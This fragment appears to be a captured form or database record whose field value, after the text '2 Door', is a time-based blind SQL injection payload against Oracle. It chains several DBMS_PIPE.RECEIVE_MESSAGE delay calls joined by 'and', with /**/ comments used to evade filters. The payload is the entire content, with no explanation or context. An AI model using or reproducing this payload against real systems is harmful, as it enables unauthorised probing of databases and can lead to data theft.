Word: 2 Door'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('g',2)='g'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('q',2)='q'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('d',2)='d'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('s',2)='s'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('m',2)='m